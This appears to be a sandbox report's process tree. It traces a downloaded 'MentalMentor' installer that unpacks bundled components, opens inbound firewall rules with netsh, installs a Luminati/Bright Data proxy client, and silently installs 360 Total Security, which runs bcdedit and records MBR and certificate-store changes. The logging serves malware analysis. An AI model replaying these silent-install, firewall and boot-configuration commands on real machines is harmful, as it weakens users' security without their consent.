C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=7060 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --mojo-platform-channel-handle=5568 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --mojo-platform-channel-handle=7320 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --mojo-platform-channel-handle=6908 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --mojo-platform-channel-handle=5588 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --mojo-platform-channel-handle=6976 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --mojo-platform-channel-handle=7280 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --mojo-platform-channel-handle=7340 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --mojo-platform-channel-handle=7576 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --mojo-platform-channel-handle=7012 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe" --reenable-autoupdates --system-level3⤵
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x250,0x254,0x258,0x22c,0x25c,0x7ff6a3cd7688,0x7ff6a3cd7698,0x7ff6a3cd76a84⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5688 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --mojo-platform-channel-handle=6016 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --mojo-platform-channel-handle=6412 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --mojo-platform-channel-handle=6976 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --mojo-platform-channel-handle=6424 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --mojo-platform-channel-handle=7640 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --mojo-platform-channel-handle=7404 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --mojo-platform-channel-handle=7084 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --mojo-platform-channel-handle=7920 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --mojo-platform-channel-handle=7856 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --mojo-platform-channel-handle=6332 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --mojo-platform-channel-handle=7880 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --mojo-platform-channel-handle=3220 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --mojo-platform-channel-handle=5780 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=7472 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:23⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --mojo-platform-channel-handle=6400 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --mojo-platform-channel-handle=7544 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --mojo-platform-channel-handle=7716 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --mojo-platform-channel-handle=5860 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --mojo-platform-channel-handle=5616 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=1688 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3944 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7576 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
- NTFS ADS
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3408 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=7828 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7020 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --mojo-platform-channel-handle=7072 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Users\Admin\Downloads\MentalMentor.exe"C:\Users\Admin\Downloads\MentalMentor.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-8JA16.tmp\MentalMentor.tmp"C:\Users\Admin\AppData\Local\Temp\is-8JA16.tmp\MentalMentor.tmp" /SL5="$B02C0,2483341,845312,C:\Users\Admin\Downloads\MentalMentor.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\is-3QQ1J.tmp\7z.exe"C:\Users\Admin\AppData\Local\Temp\is-3QQ1J.tmp\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\is-3QQ1J.tmp\zip_libs.7z" -o"C:\Users\Admin\mentalmentor\" * -r -aoa5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\is-3QQ1J.tmp\7z.exe"C:\Users\Admin\AppData\Local\Temp\is-3QQ1J.tmp\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\is-3QQ1J.tmp\zip_bin.7z" -o"C:\Users\Admin\mentalmentor\" * -r -aoa5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\is-3QQ1J.tmp\7z.exe"C:\Users\Admin\AppData\Local\Temp\is-3QQ1J.tmp\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\is-3QQ1J.tmp\zip_lum.7z" -o"C:\Users\Admin\mentalmentor\luminati\" * -r -aoa5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\is-3QQ1J.tmp\7z.exe"C:\Users\Admin\AppData\Local\Temp\is-3QQ1J.tmp\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\is-3QQ1J.tmp\zip_html.7z" -o"C:\Users\Admin\mentalmentor\settings\temp\inst_gui\" * -r -aoa5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\SysWOW64\netsh.exe"netsh" advfirewall firewall add rule name="Mental Mentor" dir=in action=allow program="C:\Users\Admin\mentalmentor\mentalmentor.exe" enable=yes5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exe"netsh" advfirewall firewall add rule name="Mental Mentor" dir=in action=allow program="C:\Users\Admin\mentalmentor\QtWebEngineProcess.exe" enable=yes5⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\mentalmentor\mentalmentor.exe"C:\Users\Admin\mentalmentor\mentalmentor.exe" install5⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\mentalmentor\mentalmentor_crashpad_handler.exeC:\Users\Admin\mentalmentor\mentalmentor_crashpad_handler.exe --no-rate-limit --database=C:\Users\Admin\mentalmentor\sentry --metrics-dir=C:\Users\Admin\mentalmentor\sentry --url=https://o4505329939513344.ingest.sentry.io:443/api/4506451695239168/minidump/?sentry_client=sentry.native/0.4.6&sentry_key=0cb1bfe551768937b10a49cd2122722e --attachment=C:/Users/Admin/mentalmentor/sentry/log --attachment=C:\Users\Admin\mentalmentor\sentry\75f6e696-916c-4f55-b44b-868231525024.run\__sentry-event --attachment=C:\Users\Admin\mentalmentor\sentry\75f6e696-916c-4f55-b44b-868231525024.run\__sentry-breadcrumb1 --attachment=C:\Users\Admin\mentalmentor\sentry\75f6e696-916c-4f55-b44b-868231525024.run\__sentry-breadcrumb2 --initial-client-data=0x56c,0x570,0x574,0x568,0x578,0x73207b7c,0x73207b90,0x73207ba06⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\mentalmentor\luminati\luminati.exe"C:\Users\Admin\mentalmentor\luminati\luminati.exe" switch_on6⤵
- Executes dropped EXE
- Loads dropped DLL
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
-
C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\test_wpf.exeC:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\test_wpf.exe7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\mentalmentor\luminati\net_updater32.exe"C:\Users\Admin\mentalmentor\luminati\net_updater32.exe" --install win_global_microtrading.mental_mentor --no-cleanup7⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\mentalmentor\QtWebEngineProcess.exe"C:\Users\Admin\mentalmentor\QtWebEngineProcess.exe" --type=utility --enable-features=AllowContentInitiatedDataUrlNavigations,TracingServiceInProcess --disable-features=BackgroundFetch,ConsolidatedMovementXY,DnsOverHttpsUpgrade,FormControlsRefresh,MojoVideoCapture,PictureInPicture,SmsReceiver,UseSkiaRenderer,WebPayments,WebUSB --lang=en-US --service-sandbox-type=network --use-gl=angle --application-name=mentalmentor --webengine-schemes=qrc:sLV --mojo-platform-channel-handle=3672 /prefetch:86⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\mentalmentor\QtWebEngineProcess.exe"C:\Users\Admin\mentalmentor\QtWebEngineProcess.exe" --type=renderer --disable-speech-api --enable-threaded-compositing --enable-features=AllowContentInitiatedDataUrlNavigations,TracingServiceInProcess --disable-features=BackgroundFetch,ConsolidatedMovementXY,DnsOverHttpsUpgrade,FormControlsRefresh,MojoVideoCapture,PictureInPicture,SmsReceiver,UseSkiaRenderer,WebPayments,WebUSB --lang=en-US --webengine-schemes=qrc:sLV --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=3 --mojo-platform-channel-handle=3688 /prefetch:16⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\mentalmentor\QtWebEngineProcess.exe"C:\Users\Admin\mentalmentor\QtWebEngineProcess.exe" --type=renderer --disable-speech-api --enable-threaded-compositing --enable-features=AllowContentInitiatedDataUrlNavigations,TracingServiceInProcess --disable-features=BackgroundFetch,ConsolidatedMovementXY,DnsOverHttpsUpgrade,FormControlsRefresh,MojoVideoCapture,PictureInPicture,SmsReceiver,UseSkiaRenderer,WebPayments,WebUSB --lang=en-US --webengine-schemes=qrc:sLV --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=4756 /prefetch:16⤵
- Executes dropped EXE
-
-
C:\Users\Admin\mentalmentor\settings\temp\av360.exe"C:\Users\Admin\mentalmentor\settings\temp\av360.exe" /s6⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\mentalmentor\settings\temp\360TS_Setup.exe"C:\Users\Admin\mentalmentor\settings\temp\360TS_Setup.exe" /c:WW.Mediaget.CPI202309 /pmode:2 /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /s7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\1709399658_0\360TS_Setup.exe"C:\Program Files (x86)\1709399658_0\360TS_Setup.exe" /c:WW.Mediaget.CPI202309 /pmode:2 /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /s /TSinstall8⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Adds Run key to start application
- Checks for any installed AV software in registry
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Drops file in Program Files directory
- Checks processor information in registry
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: LoadsDriver
- Suspicious use of SendNotifyMessage
-
C:\Windows\system32\bcdedit.exe"C:\Windows\system32\bcdedit.exe" /set {bootmgr} flightsigning on9⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exe"C:\Windows\system32\bcdedit.exe" /set flightsigning on9⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\MenuEx64.dll"9⤵
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\360\Total Security\MenuEx64.dll"10⤵
- Modifies system executable filetype association
- Registers COM server for autorun
- Modifies registry class
-
-
-
C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe"C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe" /flightsigning9⤵
- Executes dropped EXE
- Modifies system certificate store
-
-
C:\Program Files (x86)\360\Total Security\safemon\WscReg.exe"C:\Program Files (x86)\360\Total Security\safemon\WscReg.exe" /installsrv9⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe"C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe" /install9⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
-
-
C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe"C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe"9⤵
- Modifies Installed Components in the registry
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe authroots.sst10⤵
- Executes dropped EXE
- Modifies system certificate store
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe updroots.sst10⤵
- Executes dropped EXE
- Modifies system certificate store
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe -l roots.sst10⤵
- Executes dropped EXE
- Modifies system certificate store
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe -d delroots.sst10⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\safemon\safemon64.dll"9⤵
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\360\Total Security\safemon\safemon64.dll"10⤵
-
-
-
-
-
-
C:\Users\Admin\mentalmentor\luminati\luminati.exeC:\Users\Admin\mentalmentor\luminati\luminati.exe is_switch_on6⤵
- Executes dropped EXE
-
C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\test_wpf.exeC:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\test_wpf.exe7⤵
- Executes dropped EXE
-
-
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --mojo-platform-channel-handle=7796 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --mojo-platform-channel-handle=7328 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --mojo-platform-channel-handle=5228 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=64 --mojo-platform-channel-handle=7368 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --mojo-platform-channel-handle=7008 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --mojo-platform-channel-handle=6908 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --mojo-platform-channel-handle=5128 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --mojo-platform-channel-handle=8312 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --mojo-platform-channel-handle=6540 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
